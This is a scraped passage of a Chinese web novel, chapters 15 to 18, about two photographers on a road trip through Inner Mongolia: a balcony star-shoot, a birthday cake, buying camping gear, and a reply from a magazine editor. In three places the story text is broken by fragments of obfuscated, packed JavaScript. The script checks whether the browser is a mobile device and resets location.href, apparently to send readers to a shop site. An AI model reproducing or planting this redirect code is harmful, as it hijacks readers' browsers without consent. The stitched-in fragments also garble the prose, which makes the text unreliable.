……梁愿醒看着地上敞着口的脏衣袋。其实过镇江那晚,两个人是一起脱的,那时候也没什么呀,梁愿醒微微蹙眉。 他又看向冷冰冰的门板,有点不爽。 现在是什么,生分了? 他撇撇嘴,三两下把骑行服脱下来,塞进脏衣袋,去洗澡了。 15.第 15 章 段青深在酒店门口抽了根烟。 不过他出来是为了等外卖。 外卖很快送到了,两个外卖是同一个外卖员送的。但还有第三个外卖,他看了下软件上的配送进度,还有再稍微等一下。 他手里拎着两个袋子,有点不知道自己现在这是在干嘛,回避的状态是不是有点太明显。他确实是想要留给梁愿醒一个脱衣服的空间,但好像又没那么单纯,这个说辞似乎也只能糊弄一下自己。 段青深一根烟抽完,站在原地发了会儿呆。纯发呆,脑子转不动,也不知道该怎么转。 酒店附近有很多炭火烤肉店,还有些西北菜和蒙餐。段青深一时有些后悔,没提前搜一下这些店营业到几点,眼下快晚上11点了,有几家炭火羊肉还亮着灯。 后悔是因为在服务区吃过了,不然还是应该带梁愿醒来这边吃。 这可是内蒙的草原羊,应该会对南方小孩造成一些心灵震撼。 因为他自己第一次吃到这边的羊肉时就很震撼。 所以他进房间后问的第一句话是:“醒醒你还吃得下吗?” 梁愿醒已经洗完澡,头发吹了个半干,盘腿坐在床角看手机。抬头,看见段青深拎着外卖袋子:“能吃下一点儿。” “不是说水果,外面烤羊店还在营业。” 梁愿醒纳闷:“你不是前阵子才告诉我不要吃到顶吗,怎么大晚上又叫我去吃烤羊。” ……是的。但他自己也不知道为什么,很奇怪,思维乱七八糟,自己跟自己矛盾着左右互搏。 “你是不是开一天车开懵了。”梁愿醒说,“脑袋浆糊了吧。” “应该是。”段青深把袋子放下,拿出雪梨汁递给他,“喝点,补补水。” 清甜的果汁喝起来让人不自觉地贪婪,尤其口舌干燥的状态。梁愿醒仰头就喝了小半瓶,说:“你抽烟的时候看见星星了吗,外面星星好多。” 段青深抿了下嘴,摇头:“没注意。” 根本没抬头。 “你看我拍的。”梁愿醒放下果汁,把相机递给他,“你抽烟抽太久了,我就随便搜了个拍星空的参数。” 段青深半靠在房间玄关进来的水吧台,他直起身走过来,从他手里接过相机。 “我拿电脑给你看。”梁愿醒下床,去桌边掀开电脑,嘴里碎碎念着,“你怎么在下面待那么久,我还以为你被人拐了。” 段青深把储存卡拔出来,递给他:“人不能被拐两次。” “我没拐你。”梁愿醒将读卡器插到电脑上,“我顶多是利用一些你心理上的渴求,再美化一下你记忆里的远方。” “……”段青深看着他。 “……”梁愿醒没敢跟他对视。什么拐不拐的,多冒昧啊,那是引导。 其实有一点,梁愿醒一直没说。一个人绝对不能缺失信念,否则会被这世界腐化蚕食。而他在第一次认真看着段青深的那次……在曾晓阳婚礼前一天傍晚的黄昏,他说出了“这里没有人懂你,你要跟我走”。 因为他看见了一些缓慢腐化中的信念,也看见了同样状态的自己。 他把电脑挪了挪,段青深弯腰去看。城市星空会受地面光的影响,相机参数多少能拯救一下,但参数这种东西就像给游戏角色捏脸,一个差不多的数据反馈出一张还不错的脸。但大家往往会再进行一些调整来更加符合自己的喜好。 “机位在哪儿?”段青深问。 梁愿醒指了下阳台。 酒店房间的阳台是半封闭式,段青深开门走出去,没看见三脚架:“手持拍的?” “是啊。靠在围栏上随便拍一下。” “光太多了。” “嗯,我不知道这种情况该怎么调。” “等再晚一点,地面灯少了再拍。”段青深折回来,看了眼他拿的镜头,“广角大光圈35mm,挺聪明啊醒醒。” 醒醒笑着挠挠后脑勺:“一般啦。” “快门呢?”段青深问。 “10秒。”梁愿醒说,“但我觉得不太对劲。” “你用400除了,400除以焦段是大多数人用来合成视频的,单张拍的话300差不多。”段青深把相机又递向他,“卡插回去,我去支三脚架。” 梁愿醒伸手接相机,懒得站起来,胳膊直直地伸着,但也还是差了一小截。段青深无奈,他只能从阳台门那儿走过来两步:“懒着吧。” 照片梁愿醒是拍着玩的,所以没拿三脚架,就靠在阳台围栏上拍,他没想到段青深真当回事了。夜里凉风从阳台涌进来,梁愿醒嗅了嗅风里的味道。旋即反应过来,怎么又跟小狗似的走哪儿闻哪儿。 所幸段青深没看见,他支好三脚架后站在阳台看了会儿手机。 梁愿醒把卡插回相机,这回不得不站起来了。他起来伸了个懒腰,去阳台,深吸了一口夜晚的空气。然后解释:“这不是在闻啊,只是深呼吸。” 段青深看了他一眼。 “你这是干嘛呢?”梁愿醒不是故意看他手机屏幕的,“你在用手机算命吗?” 因为段青深手机屏幕画面是一条条线,一些星星的小图标和数字。 段青深笑了下:“你脑子什么构造啊,想象力这么强……我在查今晚准格尔旗的云层厚度,要是条件实在不好就没必要拍了。” “这样啊。”梁愿醒把相机在三脚架上卡好,“但地面光还是挺多的,都十一点多了。” “他们好像营业到十二点。”段青深收起手机,回去房间里拿了三个外卖袋子中的一个出来,搁在阳台的小圆桌上。 两个人同步抬头看天,肉眼观测的夜空已经足够漂亮。 小阳台很安静,两个人都没说话。 三脚架支在一张躺椅前边,段青深把快门速度设置到6秒,城市的光还是太多,还要继续等。 “醒醒。” “嗯?”他转过头。 “去里面衣柜拿条毛毯出来,你衣服太薄了。” “喔。” 段青深拍了一张,效果不太理想。他决定继续等。 酒店的毛毯是特别厚实的羊毛毯,梁愿醒披着它,手机亮了下,是气象app推送了当地的又一波寒潮大风预警。 段青深回过头看他,笑了笑。段青深本意是叫他在躺椅上靠一会儿,盖着那个毯子,他把毯子披在身上裹着。见他回头,还张开一条胳膊:“可暖和了,你进来吗?” “裹好。”段青深说。 “喔。” 段青深穿得也少,最后调了下ISO之后回去房间里拿了他的冲锋衣穿上。梁愿醒探头往里喊:“段老板,麻烦你帮我把琴也拿出来。” 弦乐器还是要经常拿出来弹一弹的。梁愿醒又把腿盘上去坐,尤克里里不大,段青深伸手把他肩上的毯子往中间拎了拎。 他拧旋钮调音,管弦乐器的音高会随环境湿度和温度的变化而变化。 “给你弹一曲。”梁愿醒说。 “好啊。”段青深很期待,“弹什么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125699|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “弹个应景的吧。”梁愿醒说,“小星星。” “……” 确实应景。 “逗你的。”梁愿醒低着头,指弹了一小段旋律,说,“我大学才学的吉他,很少弹尤克里里,带它出门轻便。” 段青深没说话,把圆桌旁边的一把椅子拎过来,在三脚架旁边,也就是梁愿醒对面坐下。 他在尤克里里拨起来的第一个乐句里问他:“段老板,你辞职之后到现在,后悔过吗?” “后悔过。”段青深在第二乐句里回答他,“也有点害怕,担心自己穷死。” 梁愿醒笑笑,继续弹着,又问:“你怕被我一语成谶?” “是啊。”段青深语气还比较轻松,“风光摄影师,这不是正朝着西北风去了嘛。” 他说这话的时候还含着些笑意,话虽这么说,但他自己倒也没到绝望的地步。 因为事实上就是还有生机。从给姜妤拍婚纱照开始,段青深意识到自己摄影水平还在,并且和梁愿醒的配合也非常好,那么之后即便当“素材库摄影师”也饿不死小助理和自己。 梁愿醒捂弦收声,抬眸看向他眼睛。 都说摄影师的第一桶金是卖相机,第二桶金是卖镜头。这个行当里大部分能赚钱的说白了就是靠资源,或者说机缘。拍婚礼拍会议拍广告,很多商业摄影师都是靠别人介绍,就像姜妤介绍了迟双海。而机缘就真是等缘分了,需要天时地利人和。 其实两个人都意识到了这个契机,这很有可能是个相当好的开始——对于那个目前暂时不存在的‘青山醒摄影工作室’而言。 “想听什么歌吗?”梁愿醒忽然把话题拽去另一个方向,“我这会儿心情好。” “嗯……”段青深想了片刻,摇头,“不知道,我不太听歌,你随便唱。” 23寸的尤克里里在箱体共鸣效果上已经是不错了,又因为音区偏高些,所以尤克里里的演奏场景多数是轻松愉快的。梁愿醒想了想,扫了两个和弦,然后在手机照片里找了个谱子。 阳台不大,梁愿醒指了下小圆桌,段青深会意,把它拖过来一些。 梁愿醒把手机立着放在桌上,靠着段青深拿进来的外卖袋。 城市慢慢暗了下去,商铺餐厅的灯光宛如电量节节耗尽般从街这头熄到那头。接着在段青深眼里,天地之间只有一道手机屏幕光照在梁愿醒脸上。 梁愿醒清冽的嗓音唱着《尘大师》。他在第一句对他唱“明天开始要系咁咦”,在3分20秒对他唱“会OK,冇事,有心不怕迟,把千斤重化做全部薄过纸。” 风吹拂过来的时候,他左肩的毯子滑下去了些。梁愿醒看着手机屏幕的谱子,他就看着梁愿醒。 他听得入神,一动不动。 是吧,段青深想。会OK没事的。 歌唱完后,沉默片刻。接着二人闲聊了几句,大致说了些天气,浙江这阵子阴雨绵绵,终于是入秋了,段青深把滑下来的毛毯拎到盖住他肩。 转眼到十二点,段青深看眼手机,日期从10月22日跳到10月23日,把桌上外卖袋里的纸盒拿出来。 “生日快乐。”段青深把小蛋糕盒递过去,“抱歉,没时间准备礼物,还有…谢谢你。” 具体谢什么,段青深没说,他也说不明白。 就像梁愿醒说的,人们在表达情感时往往词不达意。 10月23日霜降,是秋天的最后一个节气。今天一过,秋天真的只剩下尾巴尖那儿的一小撮毛了。 16.第 16 章 盒子里的蛋糕大约4寸,最上面一层点缀着奥利奥和水果。梁愿醒把尤克里里放在旁边,两只手捧着它,往里看。 “你怎么知道我生日……哦你看过住院单。”梁愿醒自问自答了一下。 “嗯。”段青深点头,“当时护士说你没有家属陪,看着又小,我担心你未成年,看了下你住院信息里的出生日期。” 梁愿醒抬头,无奈:“我都大学毕业了。” “参照现在小孩儿的发育情况,还是有必要确认一下的。” 梁愿醒刚准备拿叉子把那块奥利奥挖出来,手机响了。段青深帮他拿蛋糕:“接电话。” 打来的是他小姨,梁愿醒划开接听:“小姨~” 小姨那边貌似是开着免提打来的,很多人齐声朝他喊道:“生!日!快!乐!” 梁愿醒不得不把手机挪开点儿,然后苦笑:“哇这什么阵仗啊小姨……谢谢大家哈哈哈~我好像听见二表姑的声音了?你们今天人这么齐呢?” 二表姑是他妹妹的二表姑,家里亲戚都比较近,所以梁愿醒也跟着一块儿叫。 “是呀。”小姨说,“今天二表姑一家从基督城搬过来喽,他们还有些家具在路上,所以先在我们这儿小住几天。你呢?你今天在哪里?” 梁愿醒看看星星,说:“我今天到内蒙古了。” “哇!”小姨很惊讶,“你都是去过内蒙古的人了!” 接着电话那边他妹妹抢过手机:“喂哥!你都跑内蒙古去啦?那你今晚住在蒙古包里的吗?视频吗视频吗!” 梁愿醒哭笑不得:“内蒙古又不是遍地蒙古包,你想什么呢,我住的酒店,浙江的酒店什么样内蒙古的就什么样。” “那你骑到马了吗?” “……”梁愿醒沉默了下,“小羽,我也是两个小时前刚从高速下来的。” “那好吧~”小羽说,“生日快乐!吃蛋糕了吗?你那儿这个时间还买得着蛋糕吗?白天要去吃一个噢!” “有蛋糕。”梁愿醒回答她的时候,看着段青深手里捧的蛋糕盒,“放心吧。” 段青深听他跟家里人聊天的时候在观察夜空,今天其实没有那么好的拍星空条件,光污染是一方面,今夜月亮的照射范围也很大,62%。 有的摄影师认为满月对星空的影响堪比5级光污染,月亮太亮的话,星空的光会很混乱,后期都没法救。 虽说事无绝对,也有摄影师拍着胸脯说怕月亮的都是废物云云,但此时段青深只有一个小阳台的机位,一会儿云飘走了月亮避无可避。 梁愿醒跟小羽聊完,小羽把手机还给她妈妈,小姨又开始叮嘱。 “啊——”梁愿醒电话挂断后,缓了一口气,“快快,蛋糕给我。” 段青深笑着递给他:“你跟你小姨家里挺好的。” “是的。”梁愿醒吃掉一大口奥利奥和奶油,“一直都很好,我小姨上班的总公司在新西兰,姨夫的表姐也在那儿,刚好今年小姨工作调动,他们就干脆举家搬过去了。” 段青深点点头。 梁愿醒补充:“原本是要带上我的,但我不想去。” 他又吃了一口,4寸的小蛋糕经不住几口,晚上那个时间段青深也没法精准预测他们会在哪个城市下高速。快到鄂尔多斯的时候才在外卖上找了家蛋糕店,人家是要预定的,能临时做的只有小4寸,所以段青深只买到了这个。 “啊。”梁愿醒忽然想起来,“就一个叉子吗?” “好像是吧。”段青深扒拉了一下袋子,问,“怎么了?” “那你怎么吃?” “我不吃。” “不行不行。”梁愿醒把蛋糕举到他嘴边,“你直接啃吧,我不嫌弃你。” “……”他举得太近,段青深嘴唇沾上奶油,“你剩一口给我吧。” 毕竟是生日蛋糕嘛,还是要吃的。 梁愿醒没推托,自己又挖了两口后,把剩下的递给他。其实有点不好意思,但他知道的,如果真的跟段青深说了“不好意思”这类话,那就真的生分了。他明白的。 段青深端过来,毫无芥蒂地用他用过的叉子继续吃。奶油蛋糕果然是能让人幸福的东西,尤其是生日当天的奶油蛋糕。 梁愿醒拢了拢毛毯,夜里的风很给气象台面子,大风预警和寒潮没缺席也没迟到。这毕竟是个已经开始供暖的城市,梁愿醒又看看不算太晴朗的天:“要不不拍了吧,感觉还是有点勉强。” “拍还是能拍的。”段青深把蛋糕吃完,放回外卖袋,站起来转身去看相机,“我再试一下。” 快门6秒,片刻后,照片缓存成功,段青深把相机取下来。看他取相机,梁愿醒探了探脑袋:“怎么样?” 段青深递给他,没回答他照片怎么样,只说:“24岁的第一张星空。” 在不够完美的拍摄条件下,那张星空照算还不错了。 梁愿醒看着相机屏幕里的星空,有些失语。命名是摄影作品的一部分,就像《去西北》,照片已经在西北了,但标题却告诉你:去西北吧。 这张星空也是。它没有多么不同凡响,甚至可能一些摄像头做得很厉害的手机也能拍出这样的效果。但对梁愿醒而言它不一样,这是24岁抬眼看到的第一片星空。 段青深从他手里把相机拿走:“进屋去,太冷了。” 还没多看两眼呢……梁愿醒摆出委屈的表情。好吧确实太冷了,他把毯子拿下来折一折,抱着,段青深收起三脚架,把阳台的门关好,合上窗帘。 房间里很暖和,进来后明显地感觉皮肤在回温。他把尤克里里的弦松一松放回琴盒,那边段青深进来之后打开了电脑,正在把那张照片导进电脑里。于是很快的,梁愿醒的微信响了,是段青深发过来了照片。 他点了查看原图,要加载一会儿。 网速稍有点慢,他坐去床尾,喃喃道:“不知道迟老板那几组照片什么时候能发出来。” “下礼拜发。”段青深说,“但具体哪一天就不知道了。” “是吗。”梁愿醒抬头,“那到时候会不会有人来找你商拍?” 段青深在看邮箱,他想了下:“不好说。” 确实不好说,迟双海的工作室在北京,北京那地方怎么会缺好的商拍。他们跟迟双海的合作也仅限于“愉快”,人家可能根本忙不过来推送商拍什么的。 段青深在电脑前支着下巴。 他的邮件里多数是医院的资讯和一些订阅过的杂志网站发来的广告,他把邮件列表往前翻了许多页,一直在摁笔记本电脑的触控板。 梁愿醒不知道他在干什么,他用星空照发了个朋友圈,去洗漱,然后坐回床尾,好奇地看看他后脑勺:“你不刷牙吗?” “刷的。”段青深说,“我先找个邮箱地址。” “喔……要做什么?” “找一下《看见·地理》的编辑,我想问问她,杂志还收不收稿。” 梁愿醒朋友圈唰唰地冒着点赞和留言,也有几个朋友发消息祝他生日快乐。但对他来说,这一切都敌不过此时此刻的惊喜。 他往前一凑:“你要重操旧业了!?” “还没确定。”段青深说,“我只是问问。” 邮件编辑好发出去,关电脑,洗漱睡觉。 老实讲,段青深没有抱什么希望,在关灯后对激动不已的梁愿醒反复强调,可能那位编辑已经不做杂志了,也可能人家杂志社的合作摄影师已经够多,不要有太强的期待。 梁愿醒根本听不进去,他已经在计划机位甚至在颅内构图了。 “……睡觉吧。” 这大约是段青深认识他以来重复频率最高的三个字。 “好!”梁愿醒煞有介事地重重合眼,颇有些‘看吧我有在睡觉’的小朋友心理。 段青深已经摸透他了。 “你这个问题,去看过吗?” “嗯?”梁愿醒睁眼,“啊,看过,就普通失眠。其实也不是每天都这样,白天要是亢奋了,晚上就睡不着。” 说完,他悄悄往旁边床看了一眼——其实不用这么偷摸,房间很暗来着,但还是偷偷的。 因为自打和段青深同行,每天都亢奋。 不过睡眠的时长足够,这点梁愿醒有数,最起码他不能让自己疲劳驾驶。 “等进了沙漠,试试在一级暗空下能不能睡着。” “一级暗空?”梁愿醒问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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结果梁愿醒说:“素材来钱太慢了,我们去游乐园做跟拍,春夏迪士尼,秋冬环球影城。干三年,攒钱三年,买台哈苏去乌佩纳维克拍极光拱桥。” 段青深听完笑了,随后停顿了下,声音低下去:“对不起啊,你好好的一趟旅行,被折腾成工作了。” “不会,这样挺好的。”黑暗里的声音刺激着听觉,梁愿醒说,“我也没有方向,不知道该做什么。” 家人移民,双亲离世,不仅没有方向,而且…孤独。 他们一样,是两个迷茫的人。 段青深转过头,头发在枕头布料上蹭出些声响,梁愿醒也是,平躺着,侧过头,但其实夜里熄灯,什么都看不见。在黑暗里对视。 这段时间,梁愿醒偶尔会表现出“能遇见《去西北》的摄影师真是太幸运了”这样的情绪,但细想来,幸运的其实是自己。 清晨,酒店停车场。 气象app显示户外体感温度3度,给梁愿醒惊着了。 响沙湾最终没有去,他们权衡之后决定继续西行,赶在天气还没有冷到会把相机冻出拖影之前。 幸而早餐在酒店里吃得比较热乎。梁愿醒叹道:“我在家里查这一带天气预报的时候,它居然敢告诉我平均气温有14度。” 段青深从后备箱的行李箱里翻出一件加绒的厚外套,递给他,“月初国庆那段时间应该比现在好点,把这个穿在骑行服外面。” “会沾上灰的。”梁愿醒说,“骑车特别沾灰。” “你还管它脏不脏?”段青深关上后备箱,“你先管管你自己冷不冷吧。” 确实如此,梁愿醒把棉外套穿上,拉链一直拉到顶。其实到这个时候他基本猜到了,段青深那车里确实装着他几乎所有家当。连这种厚实的衣服都带在车里。 “你衣服带得挺全……”梁愿醒试探着问。 “嗯。”段青深看了看他,“你住院的那个镇还记得吗,离我家有几百公里远,我在镇上租房的,辞职之后就退租了,又不能回家,就全塞车里。” 梁愿醒点头表示明白,而段青深辞职的原因他一直没问过。倒不是不想知道,而是他觉得不着急——现阶段他们都会在一起。 而最主要的原因是,梁愿醒记得在海边他说过他父母是因为父亲出轨而离婚,所以不想勾起一些段青深可能存在的不愉快的记忆。 他更愿意向前走,并且希望段青深也是。 他戴好头盔,跟段青深比了个拇指,表示自己状态很OK随时出发。 段青深在他头盔上拍了下,笑着说:“走。” 24岁的第一段旅途。 17.第 17 章 从鄂尔多斯出发,走荣乌高速,目的地暂定在乌海。 有时候段青深会忘记这趟旅程并不赶时间。这是一次没有边缘的假期,没有计划的远行。 在四十里梁服务区下起雨来的时候,梁愿醒坐在段青深的车里往外看。没有贴太阳膜的车窗玻璃上全是水纹,扭曲了朝着车走来的段青深。 “嘭!” 段青深坐进车里关上车门,把买回来的袋装面包、零食和饮料放去车后座。 “我还以为西北干旱,很少下这么大雨。”梁愿醒拽了几张纸巾给他。 “也下的。”段青深接过纸巾稍微擦一下脸和头发,说,“不过不会下太久,天气预报上显示下午四点会停。” 梁愿醒换了个眼神看着他:“我们应该没什么急事吧?” “……没。”段青深拿出来一罐咖啡,停在打开拉环的动作,又重复一遍,“没有。” 梁愿醒眯起眼,像个长辈慢悠悠地点头:“是啊~所以不要在意雨还要下多久。” “嘶。”段青深拿咖啡冰了一下他脸。 “哎!”梁愿醒诧然看着他。 “小屁孩还端起来了。”段青深打开拉环,喝了口冰咖啡。 “大人就能偷袭了?” 偷袭成功的大人恶劣地笑了下。 在服务区等雨停的人不算少,大货车停在靠外缘的停车区,小车们停在司机之家门口这一排。大家都在安静地等雨过去。 四十里梁是个占地挺大的服务区,大雨砸着每辆车的顶棚。梁愿醒一直看着车窗外面,地面很快积起来一小层水,镜面一样。 雨越来越大。司机之家旁边,“四十里梁服务区”七个红色的大字让人感觉快要被雨冲掉色,和它一样在雨里抬头挺胸的是另一边的“中国石油”。 没有人在外走动,人们躲在服务区里或汽车里,梁愿醒的摩托车停在加油站里面,外面高速公路也很久才慢慢驶过一辆车。 雨大到让这方天地像被禁锢在雪花屏里,梁愿醒靠在座椅里呆呆地向外看,两个人都没说话。这片停车区的汽车和草原野生动物如出一辙,在瓢泼大雨里静止不动。 接着,猝不及防的,段青深启动了车。 车厢骤然震动,梁愿醒吓一跳,打了个激灵:“我靠。” “吓着你了?” “啊,”梁愿醒判断了一下子,“有点吓着。” 段青深笑了下:“我下回发动车子前给你发个邮件预约一下。” “行,”梁愿醒点头,“工作日早九点到晚六点。” “去哪儿啊?”梁愿醒拽安全带下来扣上。 “搜到了一家卖露营装备的店,刚好在前面下高速口的路边。”段青深说,开过去买点东西。 梁愿醒困惑:“那我摩托车不要了吗?” 它怪贵的,小十几万呢。 段青深有一个不太明显的憋笑,扶着方向盘把车倒出来,认真回答:“从四十里梁乡绕一下再回高速。” “哦~” 合理。 因为大雨,在高速上的车基本时速都只开到5、60,大家开着双闪,没有人发作路怒症,也没有人应急车道超车,大家维持着安全车距和平稳的车速。 大自然只需略施小计,就能让人类恢复理性。 段青深慢慢开进收费站,选择从这个口下高速的人还蛮多的,直到开到了那家店门前才发现——难怪啊大家都在这里下高速,因为这家店算是个比较全能的店。有卖露营装备、生活用品、零食、车辆补给物。 确实是个自驾游补充物资的好地方。 “我们要露营吗?”梁愿醒见他在研究店里一个展开的帐篷。 段青深蹲下试了试骨架的韧性:“是呀,一级暗空的地方一般不会有住宿。” 梁愿醒跟着蹲在他旁边,左右看了看地上这个帐篷。银色的,夹着一张卡片,上边标注着售价和两行字的介绍: 抗强风,抗暴雨。 一秒撑开免安装。 “就这个吧。还有两把折叠露营椅。”段青深说。 “好!”梁愿醒点头,“还有别的吗?” “电锯。”段青深说。 梁愿醒看向他,询问:“我最近得罪你了吗?” “?”段青深不解,“……你想什么呢。” “接下来的路只有我和你,电锯的使用目标不是我吗?”梁愿醒指指自己。 段青深想敲他脑壳。他站起来,拿了货架上包装好的帐篷,刚准备走去前台问问老板电锯在哪儿,忽然发现脚迈不出去。 低头,梁愿醒抱住了他小腿:“捞捞,腿蹲麻了。” 他把梁愿醒捞起来。 店里老板的外貌很不符合梁愿醒刻板印象里的内蒙大叔,是个戴眼镜瘦条条的中年人。 “哦电锯啊?”老板说,“我这里只有小型手持的噢。” “可以,要一个无线充电的电锯,和一个普通的锯子。”段青深说。 收银台旁边摞着很多透明袋包装的零食,袋子上巨大的五个字“内蒙古特产”。 老板去后边货架拿电锯了,大概是眼神太渴望,段青深问:“想尝尝吗?买一包带车里?” “这好吃吗?” “奶制品一般……不会难吃吧。”段青深直接拿了,“尝尝吧。” 两个人把买的东西塞进车里后,梁愿醒在副驾驶抱着那袋奶制品脆片端详着。 “拆开吃啊。”段青深说。 “可以在车里吃吗?”他问。 段青深调了下导航,雨渐渐小了些,他定位到四十里梁乡这边的高速入口,说:“等进了无人区,吃饭睡觉估计都得在车里。” “啊。”梁愿醒撕开袋子,恍然大悟,“原来你买电锯是为了在无人区防野兽?那为什么还要一个普通锯子?” 段青深扶着方向盘,因为后视镜上都是水痕,他看着倒车雷达慢慢开出车位,说:“汽车鸣笛就能吓跑野生动物,无人区没有治安覆盖,所以要防的不是野兽,是人。” “嗯?” 车厢里弥漫起浓郁的奶香味,这个奶片做得像饼干,但比普通饼干更有韧性。 事实证明给梁愿醒买吃的永远是正确的事,他甚至都不太好奇在无人区防人是什么说法了。 梁愿醒“嗯?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14149520|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完那一声就变成了惊喜的“嗯——”紧接着递了一片到段青深嘴边:“这好好吃啊你快吃一个!” 段青深叼进嘴里,的确很好吃,纯粹的鲜奶味,口感嚼起来有点像厚的椰子片。 然而梁愿醒的理智只会被食物带偏那么一小会儿,他咽下去:“那你为什么还要买一个普通锯子?” “现在有些手持电锯会检测布料和皮肤,碰到就自动断电了,真在无人区遇到连电锯都吓不走的人,就用普通锯子上去干。”段青深说。 梁愿醒眼睛亮起来了,他甚至有点期待。 所幸段青深在开车,没看他,否则高低教育两句。 因为他的眼神是“来个歹徒,我强得可怕”的跃跃欲试。 一去一回折腾掉两个多小时,重新上高速,返回服务区之后,雨已经停了。没有立刻出太阳,空气里也没有留存很明显的湿漉漉的气味,地面干了一半。梁愿醒下车抬头嗅了嗅,和南方下完雨的味道很不一样。 “我过去骑车了!”因为风大,梁愿醒很大声地说,“你帮我把那袋奶片扎上口!” “不用的。”段青深说,“在这边零食不会软。” “会洒出来呀。”梁愿醒无奈。 “……哦。”这确实。 梁愿醒拎着头盔本来已经快走到加油站里了,又快步折回段青深车边。 段青深愣了下,随后心领神会,开门下车,把刚夹上口的奶片打开递给他。 果然,他连塞三片进嘴里,在呼呼大风中比了个“ok”转身重新走向摩托车。 他是真的很爱吃这个。 段青深低头看了眼包装袋,这时才发现,它应该是法外狂徒式的家庭手作小零食,别说商标了,嚣张到连个生产日期都没有。 大约是店主家里自己做来吃的,顺便就多做点,买了写有“内蒙古特产”的一次性封口袋摆在店里卖。 而此时,他第一反应居然不是“好家伙有生之年也是买到三无食品了”,而是惋惜梁愿醒这么爱吃,以后离开内蒙就买不着了。 他回神,听见那边摩托按了两下喇叭,似乎在催促他,他上车了。 这天行程的终点还是抵达了乌海,只不过到的时间比较晚,段青深提前搜了几家还在营业的餐厅,带着梁愿醒直奔市里。 抵达市区已经是夜里。 他按下对讲机:“梁助理,蒙式火锅、羊肉串、铁锅焖面,还是饭馆?” 那边梁愿醒骑着车呢,头盔里的回响让自己清晰地听见自己吞了一下口水。 蒙式火锅是什么样的?铁锅焖面又是什么味,听着就能吃三斤半,羊肉串那不必说,这里可是内蒙古,饭馆里必定是自己从未吃过的当地菜吧——就像在山东第一次吃到海肠捞饭。 于是梁助理提出了一个字面上来看非常合理的计划—— “段老板,我们可以打包铁锅焖面去吃火锅的时候叫一份羊肉串的外卖吗?” 段青深沉默了下,又按对讲:“就是……排除掉饭馆对吧?” “饭馆明天走的时候吃。”梁愿醒说。 “嗯,听你这么安排,我以为我们俩活不到明天了。” 18.第 18 章 进入市区后,两个人真的照着梁愿醒的安排,先去买了份焖面打包,拎着去了火锅店。 幸而时间把握得比较精准,火锅店是九点半结束营业,他们八点四十多到,然后梁愿醒在点菜环节卡壳了。 段青深看了眼手机时间,又看了眼对面拧着眉毛半晌没动的梁愿醒,问:“遇上不认识的字了?” 梁愿醒看过来。不得不说,这位段老板的嘴真的是随着关系愈发熟络而日渐歹毒。 “开个玩笑,你看半天了,纠结什么呢。”段青深点完了羊肉串,放下手机,“点多少了?” “不是,”梁愿醒手指在点菜的平板上犹豫不定,“有两个酸奶做的甜品我都想吃。” “那就都点。” “会吃不完。”梁愿醒为难。 “我也长嘴了。”段青深说。 “……” 路过的服务员噗呲一声笑了。 羊肉串的外卖是服务员拿过来的,还问他们需不需要让后厨热一下,梁愿醒隔着袋子摸了下,说不用,这样正好。 饭后梁愿醒还是希望A一下钱,但段青深表明了他包吃住。 晚上回酒店后,梁愿醒在医生指导下嚼了六片健胃消食片,又因为吃太撑被要求不准洗澡,只能傻坐在那儿。 “玩会儿手机。”段青深掀开电脑,跟他说,“转移一下注意力。” “转移不了,存在感太强了,像怀了三只刚吃完海豹的北极熊。” “……”段青深无奈,他连上手机的热点,打开邮箱,“我再一会儿没看住你,你能把店里老板和服务员一起涮锅里吃了。” “回复了吗?”梁愿醒问。 “回了。” “怎么说?” 地理杂志的这位编辑叫江意,曾经负责段青深的稿件。 《看见·地理》杂志每个季节做一次特别刊,三年前的秋季做了西北特别刊,用段青深拍的一张大漠落日作为封面。 那是照片《去西北》的登刊时间,真正拍摄的时间还要再往前推个一年。 三年江意负责与段青深沟通照片版权使用事宜的时候,段青深已经被他父亲收走了所有设备器材叫他好好读书,一个医学生没有任何反抗能力。而她当时能做的也只有在邮件里告诉段青深,你的作品很棒。 梁愿醒放下抱枕走过去,段青深点开邮件。 江意回复: 好久没联络了,得知你继续拍照,很为你开心。 我们最近正苦恼收不到好稿子,你最近在拍些什么,可以发几张作品过来吗? “哦——!!”梁愿醒很惊喜,“她们收不到好稿子!” 段青深失笑:“你这幸灾乐祸的。” 话虽如此,但段青深也明白这是机会。他调整呼吸,想了想,说:“我们得拍点照片去了。” “我们明天就去!”梁愿醒被成功转移注意力。 “醒醒。”他抬头,看向旁边两眼发光的助理,“明天开始工作了。” “嗯。”醒醒点头。 “明天继续往西走,到阿拉善右旗,尽量在十月过完之前进沙漠,再晚就拍不到银河了。” “好!” 梁愿醒是个缘分入睡的人,他从来不勉强自己,这也是当初选择在酒吧唱歌,而不是到机构里教小孩儿弹琴的主要原因。 酒吧的作息可太棒了,下午五点才开始打扫卫生。梁愿醒有一阵子睡醒睁眼看时间,下午六点四十。 次日早,梁愿醒睁眼看时间,也是六点四十。 他有点不能接受。 但他的老板已经穿戴整齐了。 “这么早?”段青深震惊。 “就……”梁愿醒呆呆地坐起来,“就醒了。早上好。” “早上好……吗?”段青深问。 “一般好。” 段青深起床后动静很小,此时坐在酒店书桌那儿看电脑。这是个双床标间,梁愿醒看看旁边的空床,又看看段青深:“你在干嘛?” 